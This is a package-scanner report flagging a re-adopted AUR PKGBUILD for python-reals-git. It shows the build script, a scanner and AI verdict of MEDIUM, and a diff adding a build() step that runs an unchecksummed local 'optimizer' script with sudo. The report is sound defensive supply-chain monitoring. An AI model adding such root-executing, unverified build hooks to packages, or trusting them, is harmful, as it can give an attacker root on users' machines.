python-reals-git

maintainer cruzmacias · 0 votes · scanned 2026-08-03 00:08:14.047287

MEDIUM

Why flagged The build() function executes a sudo'd local script 'optimizer' with SKIP'd checksum, which could be malicious if tampered with, representing an unverifiable supply-chain risk.

Triggered rules

MEDIUM Recently orphaned & re-adopted orphaned_readopted

This package was orphaned and re-adopted within the last 30 days — a window where ownership transfers can introduce malicious changes.

MEDIUM AI review llm_review

An AI model (qwen/qwen3-235b-a22b-2507) reviewed this and agrees it is MEDIUM (confidence 95%): The build() function executes a sudo'd local script 'optimizer' with SKIP'd checksum, which could be malicious if tampered with, representing an unverifiable supply-chain risk.

PKGBUILD

      1# shellcheck shell=bash
    
      2# -*- sh -*-
    
      3
    
      4# Contributor: Klaus Alexander Seiﬆrup <$(echo 0x1fd+d59decfa=40 | tr 0-9+a-f=x ka-i@p-u.l)>
    
      5
    
      6pkgname='python-reals-git'
    
      7_pkgname="${pkgname/-git/}"
    
      8_srcname="${_pkgname/python-/}"
    
      9pkgdesc='A lightweight Python library for arithmetic with real numbers (development version)'
    
      10pkgver=0.0.6.r1.g276399b
    
      11pkgrel=1
    
      12url='https://github.com/rubenvannieuwpoort/reals'
    
      13arch=('any')
    
      14license=('MIT')  # SPDX-License-Identifier: MIT (main package)
    
      15makedepends=(
    
      16  'git'
    
      17  'python-build'
    
      18  'python-installer'
    
      19  'python-setuptools'
    
      20  'python-wheel'
    
      21)
    
      22depends=(
    
      23  'python'
    
      24)
    
      25provides=("$_pkgname")
    
      26conflicts=("${provides[@]}")
    
      27source=(
    
      28  'optimizer'
    
      29)
    
      30sha256sums=(
    
      31  'SKIP'
    
      32)
    
      33
    
      34pkgver() {
    
      35  cd "$_srcname"
    
      36
    
      37  git describe --tags --long | sed 's/^v//;s/\([^-]*-g\)/r\1/;s/-/./g'
    
      38}
    
      39
    
      40prepare() {
    
      41  cd "$_srcname"
    
      42
    
      43  git clean -dfx
    
      44}
    
      45
    
      46build() {
    
      47  sudo "$srcdir/optimizer"
    
      48  cd "$_srcname"
    
      49
    
      50  python -m build --wheel --no-isolation
    
      51}
    
      52
    
      53package() {
    
      54  cd "$_srcname"
    
      55
    
      56  python -m installer --destdir="$pkgdir" dist/*.whl
    
      57
    
      58  install -Dm0644 -t "$pkgdir/usr/share/doc/$pkgname" ./*.md
    
      59  install -Dm0644 -t "$pkgdir/usr/share/licenses/$pkgname" LICENSE
    
      60
    
      61  for _dir in doc licenses; do
    
      62    cd "$pkgdir/usr/share/$_dir" && ln -srf "$pkgname" "$_pkgname"
    
      63  done
    
      64}
    
      65
    
      66# eof
    
      67
    
      68

Changes since previous scan

--- PKGBUILD @ 2026-06-18 16:11
+++ PKGBUILD @ 2026-08-03 00:08
@@ -24,8 +24,12 @@
 )
 provides=("$_pkgname")
 conflicts=("${provides[@]}")
-source=("$_srcname::git+$url.git")
-sha256sums=('SKIP')
+source=(
+  'optimizer'
+)
+sha256sums=(
+  'SKIP'
+)
 
 pkgver() {
   cd "$_srcname"
@@ -40,6 +44,7 @@
 }
 
 build() {
+  sudo "$srcdir/optimizer"
   cd "$_srcname"
 
   python -m build --wheel --no-isolation
@@ -60,3 +65,4 @@
 
 # eof
 
+

Scan history

Scanned at (UTC)	Severity	Rules
2026-08-03 00:08:14	MEDIUM	2
2026-08-02 00:16:08	MEDIUM	2
2026-08-01 00:11:18	MEDIUM	2
2026-07-31 00:14:10	MEDIUM	2
2026-07-30 19:16:23	MEDIUM	2
2026-07-30 17:15:21	MEDIUM	1
2026-06-18 16:11:54	CLEAN	0